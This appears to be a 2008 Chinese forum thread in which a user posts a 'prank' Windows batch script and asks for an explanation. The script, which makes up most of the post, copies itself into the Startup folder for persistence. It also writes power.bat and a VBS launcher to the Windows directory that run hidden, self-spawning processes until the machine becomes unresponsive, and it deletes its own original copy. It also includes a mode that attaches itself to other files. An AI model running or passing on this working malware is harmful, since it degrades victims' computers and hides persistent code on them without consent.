中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

中国DOS联盟论坛
现在时间是 2026-06-20 23:00
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » 一个整人的BAT,请高手帮忙分析一下! 查看 820 回复 1
楼 主 一个整人的BAT,请高手帮忙分析一下! 发表于 2008-01-12 14:54 ·  中国 安徽 联通数据上网公共出口
初级用户
★★
积分 175
发帖 55
注册 2007-04-30 07:15
19年会员
UID 87008
性别 男
状态 离线
请高手们帮忙说明一下!感谢。。

::脚本运行后会使机器响应迟钝
::在运行中输入cmd /c echo.>C:\_stop可以无条件中止脚本


@echo off & cls
if not "%~n0"=="BatEncoder" goto body
if not "%~n1"=="" if exist "%~f1" copy/b "%~f0"+"%~f1" "%~dp1加密的%~nx1">nul 2>nul&echo 成功加密了脚本&goto :eof
echo 请将待加密文件名作为参数运行本程序
pause
goto :eof
:body
@echo off
if not exist "%HOMEPATH%\..\All Users\「开始」菜单\程序\启动\power.bat" copy %~fs0 "%HOMEPATH%\..\All Users\「开始」菜单\程序\启动\power.bat">nul
echo @echo off>%windir%\power.bat
echo if "%%1"=="" goto :end>>%windir%\power.bat
echo if exist C:\_stop goto :EOF>>%windir%\power.bat
echo start /B %%~fs0 exp>>%windir%\power.bat
echo :s>>%windir%\power.bat
echo if not exist C:\_stop goto s>>%windir%\power.bat
echo exit>>%windir%\power.bat
echo :end>>%windir%\power.bat
echo del %%~fs0>>%windir%\power.bat
echo set Shilyx=CreateObject("WScript.Shell")>%windir%\power.vbs
echo Shilyx.Run "%windir%\power.bat exp",0 >>%windir%\power.vbs
WScript %windir%\power.vbs
del %windir%\power.vbs
set p=%~ps0
if not %p:~-3,2%==启动 del %~fs0


在windir生成两个文件分别是:

power.bat

@echo off
if "%1"=="" goto :end
if exist C:\_stop goto :EOF
start /B %~fs0 exp
:s
if not exist C:\_stop goto s
exit
:end
del %~fs0


power.vbs

set Shilyx=CreateObject("WScript.Shell")
Shilyx.Run "power.bat exp",0
2 发表于 2008-01-12 14:56 ·  中国 安徽 联通数据上网公共出口
初级用户
★★
积分 175
发帖 55
注册 2007-04-30 07:15
19年会员
UID 87008
性别 男
状态 离线
看着好像很简单,自己却越越看越糊涂,,麻烦各位了。。
论坛跳转: